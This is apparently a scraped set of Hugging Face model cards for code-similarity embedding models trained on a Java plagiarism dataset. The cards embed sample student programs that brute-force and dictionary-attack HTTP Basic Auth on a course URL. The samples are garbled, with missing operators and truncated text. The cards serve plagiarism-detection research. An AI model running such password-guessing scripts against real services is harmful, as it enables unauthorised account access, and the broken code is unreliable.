(pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - sourcesentence: "import java.net.;\nimport java.io.;\nimport java.;\n\n public\ \ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ \ status = false;\n\n public static void main (String args[]){\n Dictionary\ \ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ );\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ \t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ \ {\n\t\n\t\t\t if (inp[2].length() = bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) > 4));\n byte c3 = (byte)(((b2\ \ & 0xf) > 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" sentences: - "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\ import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\ \ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\ \ }\n\n public static void main(String[] args)\n {\n Dictionary\ \ dictionary = new Dictionary();\n\n if (args.length \ \ 3)\n {\n dictionary.setFileName(args[3]);\n \ \ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\ \ System.exit(1);\n }\n }\n\n public void process()\n\ \ {\n attempts = 0;\n String password = \"\";\n \n \ \ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\ \ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\ \ \n input = new BufferedReader(file);\n \n \ \ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\ File not found: \" + getWordFile());\n System.exit(2);\n }\n\ \n try\n {\n while ((password = input.readLine()) !=\ \ null)\n {\n try\n {\n \ \ \n attempts++;\n BasicAuthHttpRequest\ \ req =\n new BasicAuthHttpRequest(\n \ \ getURL(),\n getUserName(),\n \ \ password);\n setPassword(password);\n \ \ setEnd(new Timestamp(System.currentTimeMillis()));\n \ \ setContent(req.getContent().toString());\n\n \ \ \n if (getFileName() != null\n &&\ \ getFileName().length() > 0)\n {\n \ \ createReport();\n }\n return;\n \ \ }\n catch (MalformedURLException e)\n \ \ {\n e.printStackTrace();\n return;\n\ \ }\n catch (IOException e)\n {\n\ \n }\n }\n }\n catch (IOException x)\n\ \ {\n x.printStackTrace();\n }\n\n \n setEnd(new\ \ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\ \ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"\ \ BruteForce proper usage \\n\\n\");\n s.append(\n \"java\ \ ..httputils.Dictionary \\\ n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\ \ {\n return wordFile;\n }\n\n \n public void setWordFile(String\ \ string)\n {\n wordFile = string;\n }\n\n}\n" - "import java.net.;\nimport java.io.;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i = bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ > 4));\n byte c3 = (byte)(((b2 & 0xf) > 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - "import java.net.;\nimport java.io.;\n\n public class Bruteforce {\n int attempts\ \ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ \ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ \ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ \ try {\n\n String login = new String(\"\");\n String url = new String(\"\ http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ \ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ \ String line;\n while ((line = in.readLine()) != null) {\n \ \ System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ \ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ \ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ \ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ \ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ \ String();\n String c2 = new String();\n String c3 = new String();\n \ \ String c4 = new String();\n boolean flag;\n\n for (i=l;i = bytes.length) {\n b2\ \ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ \ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ \ = 0;\n pad = 1;\n }\n else\n b3\ \ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ \ c2 = (byte)(((b1 & 0x3) > 4));\n byte c3 = (byte)(((b2 &\ \ 0xf) > 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n" datasets: - buelfhood/SOCOTRAINjava pipelinetag: sentence-similarity libraryname: sentence-transformers --- SentenceTransformer based on Salesforce/codet5-small This is a sentence-transformers model finetuned from Salesforce/codet5-small on the socotrainjava dataset. It maps sentences & paragraphs to a 512-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: Salesforce/codet5-small - Maximum Sequence Length: None tokens - Output Dimensionality: 512 dimensions - Similarity Function: Cosine Similarity - Training Dataset: - socotrainjava - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Dataset: socotrainjava at 44ca4ff Size: 42,960 training samples Columns: anchorcode , positivecode , and negativecode Approximate statistics based on the first 1000 samples: | | anchorcode | positivecode | negativecode | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details | min: 512 tokens mean: 512.0 tokens max: 512 tokens | min: 512 tokens mean: 512.0 tokens max: 512 tokens | min: 52 tokens mean: 460.71 tokens max: 512 tokens | Samples: | anchorcode | positivecode | negativecode | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar... | import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... | import java.io.; import java.net.; import java.util.; import java.misc.BASE64Encoder; public class Dictionary { private String userId; private String password; ReadDictionary myWords = new ReadDictionary(); public Dictionary() { myWords.openFile(); Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { StringBuffer sb = new StringBuffer(); HttpURLConnection connection; Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println (" time :" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""); setPassword("rhk8611"); System.out.println("Attempting get a response : " +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + " "); if (responseCode == HttpURLCo... | | import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar... | import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... | public class Base64 { final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; public static String encode(byte[] bytes) { String tmp = ""; int i = 0; byte pos; for(i=0; i pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) > 4) & 15)); tmp = tmp + baseTable.charAt( pos ); pos = (byte) (((bytes[i+1] & 15) > 6) & 3)); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i+2]) & 63)); tmp = tmp + baseTable.charAt(pos); if(((i+2)%56) == 0) { tmp = tmp + "\r\n"; } } if(bytes.length % 3 != 0) { if(bytes.length % 3 == 2) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) > 4) & 15)); tmp = tmp + baseTable.charAt( pos ); ... | | import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar... | import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println... | import java.net.; import java.io.IOException; import java.util.; import java.io.; public class Dictionary { static String userName; static URL url; static URLAuthenticator urlAuthenticator; static int noOfAttempts; public Dictionary() { } public static void main (String args[]) { Properties props = System.getProperties(); props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080"); System.out.println(props.get("http.proxyHost")); BufferedReader inFile = null; try { if (args.length System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words"); System.exit(1); } inFile = new BufferedReader (new FileReader(args[0])); breakPassword(inFile); } catch (FileNotFoundException e) { System.err.println(e.getMessage()); System.exit(1); } catch (IOException e) { ... | Loss: MultipleNegativesRankingLoss with these parameters: Training Hyperparameters Non-Default Hyperparameters - `perdevicetrainbatchsize`: 16 - `learningrate`: 2e-05 - `numtrainepochs`: 1 - `warmupratio`: 0.1 - `fp16`: True - `batchsampler`: noduplicates - `overwriteoutputdir`: False - `dopredict`: False - `evalstrategy`: no - `predictionlossonly`: True - `perdevicetrainbatchsize`: 16 - `perdeviceevalbatchsize`: 8 - `pergputrainbatchsize`: None - `pergpuevalbatchsize`: None - `gradientaccumulationsteps`: 1 - `evalaccumulationsteps`: None - `torchemptycachesteps`: None - `learningrate`: 2e-05 - `weightdecay`: 0.0 - `adambeta1`: 0.9 - `adambeta2`: 0.999 - `adamepsilon`: 1e-08 - `maxgradnorm`: 1.0 - `numtrainepochs`: 1 - `maxsteps`: -1 - `lrschedulertype`: linear - `lrschedulerkwargs`: {} - `warmupratio`: 0.1 - `warmupsteps`: 0 - `loglevel`: passive - `loglevelreplica`: warning - `logoneachnode`: True - `loggingnaninffilter`: True - `savesafetensors`: True - `saveoneachnode`: False - `saveonlymodel`: False - `restorecallbackstatesfromcheckpoint`: False - `nocuda`: False - `usecpu`: False - `usempsdevice`: False - `seed`: 42 - `dataseed`: None - `jitmodeeval`: False - `bf16`: False - `fp16`: True - `fp16optlevel`: O1 - `halfprecisionbackend`: auto - `bf16fulleval`: False - `fp16fulleval`: False - `tf32`: None - `localrank`: 0 - `ddpbackend`: None - `tpunumcores`: None - `tpumetricsdebug`: False - `debug`: [] - `dataloaderdroplast`: False - `dataloadernumworkers`: 0 - `dataloaderprefetchfactor`: None - `pastindex`: -1 - `disabletqdm`: False - `removeunusedcolumns`: True - `labelnames`: None - `loadbestmodelatend`: False - `ignoredataskip`: False - `fsdp`: [] - `fsdpminnumparams`: 0 - `fsdpconfig`: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgradckpt': False} - `fsdptransformerlayerclstowrap`: None - `acceleratorconfig`: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None} - `parallelismconfig`: None - `deepspeed`: None - `labelsmoothingfactor`: 0.0 - `optim`: adamwtorchfused - `optimargs`: None - `adafactor`: False - `groupbylength`: False - `lengthcolumnname`: length - `project`: huggingface - `trackiospaceid`: trackio - `ddpfindunusedparameters`: None - `ddpbucketcapmb`: None - `ddpbroadcastbuffers`: False - `dataloaderpinmemory`: True - `dataloaderpersistentworkers`: False - `skipmemorymetrics`: True - `uselegacypredictionloop`: False - `pushtohub`: False - `resumefromcheckpoint`: None - `hubmodelid`: None - `hubstrategy`: everysave - `hubprivaterepo`: None - `hubalwayspush`: False - `hubrevision`: None - `gradientcheckpointing`: False - `gradientcheckpointingkwargs`: None - `includeinputsformetrics`: False - `includeformetrics`: [] - `evaldoconcatbatches`: True - `fp16backend`: auto - `pushtohubmodelid`: None - `pushtohuborganization`: None - `mpparameters`: - `autofindbatchsize`: False - `fulldeterminism`: False - `torchdynamo`: None - `rayscope`: last - `ddptimeout`: 1800 - `torchcompile`: False - `torchcompilebackend`: None - `torchcompilemode`: None - `includetokenspersecond`: False - `includenuminputtokensseen`: no - `neftunenoisealpha`: None - `optimtargetmodules`: None - `batchevalmetrics`: False - `evalonstart`: False - `useligerkernel`: False - `ligerkernelconfig`: None - `evalusegatherobject`: False - `averagetokensacrossdevices`: True - `prompts`: None - `batchsampler`: noduplicates - `multidatasetbatchsampler`: proportional - `routermapping`: {} - `learningratemapping`: {} Training Logs | Epoch | Step | Training Loss | |:------:|:----:|:-------------:| | 0.0372 | 100 | 2.4305 | | 0.0745 | 200 | 0.9798 | | 0.1117 | 300 | 0.3703 | | 0.1490 | 400 | 0.3513 | | 0.1862 | 500 | 0.3518 | | 0.2235 | 600 | 0.3306 | | 0.2607 | 700 | 0.3578 | | 0.2980 | 800 | 0.3038 | | 0.3352 | 900 | 0.3346 | | 0.3724 | 1000 | 0.3113 | | 0.4097 | 1100 | 0.3326 | | 0.4469 | 1200 | 0.3305 | | 0.4842 | 1300 | 0.3208 | | 0.5214 | 1400 | 0.3087 | | 0.5587 | 1500 | 0.3093 | | 0.5959 | 1600 | 0.3086 | | 0.6331 | 1700 | 0.2992 | | 0.6704 | 1800 | 0.3187 | | 0.7076 | 1900 | 0.3159 | | 0.7449 | 2000 | 0.3118 | | 0.7821 | 2100 | 0.2915 | | 0.8194 | 2200 | 0.3122 | | 0.8566 | 2300 | 0.2841 | | 0.8939 | 2400 | 0.2772 | | 0.9311 | 2500 | 0.2819 | | 0.9683 | 2600 | 0.2894 | Framework Versions - Python: 3.12.3 - Sentence Transformers: 5.1.1 - Transformers: 4.57.0 - PyTorch: 2.8.0+cu128 - Accelerate: 1.10.1 - Datasets: 4.1.1 - Tokenizers: 0.22.1
irplag_codeberta_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_score
conplag2_codebert_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_score
SOCO_Adapter_Java_LoRA_0
ConPlag_1_codebert_ep30_bs16_lr0_0005_l512_s42_ppy_f_beta_score_2_lora
ConPlag_1_unixcoder_ep30_bs16_lr0_0005_l512_s42_ppy_f_beta_score_2_lora
ConPlag_1_codeberta_ep30_bs16_lr0_0005_l512_s42_ppy_f_beta_score_2_lora
ConPlag_1_codet5_ep30_bs16_lr0_0005_l512_s42_ppy_f_beta_score_2_lora
ConPlag_2_codebert_ep30_bs16_lr0_0005_l512_s42_ppy_f_beta_score_2_lora
ConPlag_2_graphcodebert_ep30_bs16_lr0_0005_l512_s42_ppy_f_beta_score_2_lora
ConPlag_2_codeberta_ep30_bs16_lr0_0005_l512_s42_ppy_f_beta_score_2_lora
ConPlag_2_codet5_ep30_bs16_lr0_0005_l512_s42_ppy_f_beta_score_2_lora
SOCO-C-CodeBERTa-ST
SentenceTransformer based on huggingface/CodeBERTa-small-v1 This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: huggingface/CodeBERTa-small-v1 - Maximum Sequence Length: 512 tokens - Output Dimensionality: 768 dimensions - Similarity Function: Cosine Similarity - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Then you can load this model and run inference. bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } bibtex @misc{hermans2017defense, title={In Defense of the Triplet Loss for Person Re-Identification}, author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, year={2017}, eprint={1703.07737}, archivePrefix={arXiv}, primaryClass={cs.CV} } ```
SOCO-C-CodeT5Small-ST
SentenceTransformer based on Salesforce/codet5-small This is a sentence-transformers model finetuned from Salesforce/codet5-small. It maps sentences & paragraphs to a 512-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: Salesforce/codet5-small - Maximum Sequence Length: 512 tokens - Output Dimensionality: 512 dimensions - Similarity Function: Cosine Similarity - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Then you can load this model and run inference. bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } bibtex @misc{hermans2017defense, title={In Defense of the Triplet Loss for Person Re-Identification}, author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, year={2017}, eprint={1703.07737}, archivePrefix={arXiv}, primaryClass={cs.CV} } ```
SOCO-C-CodeBERT-ST
SentenceTransformer based on microsoft/codebert-base This is a sentence-transformers model finetuned from microsoft/codebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: microsoft/codebert-base - Maximum Sequence Length: 512 tokens - Output Dimensionality: 768 dimensions - Similarity Function: Cosine Similarity - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Then you can load this model and run inference. bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } bibtex @misc{hermans2017defense, title={In Defense of the Triplet Loss for Person Re-Identification}, author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, year={2017}, eprint={1703.07737}, archivePrefix={arXiv}, primaryClass={cs.CV} } ```
SOCO-C-PLBART-ST
SentenceTransformer based on uclanlp/plbart-java-cs This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: uclanlp/plbart-java-cs - Maximum Sequence Length: 512 tokens - Output Dimensionality: 768 dimensions - Similarity Function: Cosine Similarity - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Then you can load this model and run inference. bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } bibtex @misc{hermans2017defense, title={In Defense of the Triplet Loss for Person Re-Identification}, author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, year={2017}, eprint={1703.07737}, archivePrefix={arXiv}, primaryClass={cs.CV} } ```
SOCO-C-UniXcoder-ST-0
SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr2e-05-split0.1
SOCO-Java-codeberta-mnrl-triplets-ep1-bs16-lr2e-05-split0.1
SentenceTransformer based on huggingface/CodeBERTa-small-v1 This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the socotrainjava dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: huggingface/CodeBERTa-small-v1 - Maximum Sequence Length: 512 tokens - Output Dimensionality: 768 dimensions - Similarity Function: Cosine Similarity - Training Dataset: - socotrainjava - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Then you can load this model and run inference. json { "scale": 20.0, "similarityfct": "cossim", "gatheracrossdevices": false } json { "scale": 20.0, "similarityfct": "cossim", "gatheracrossdevices": false } bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = 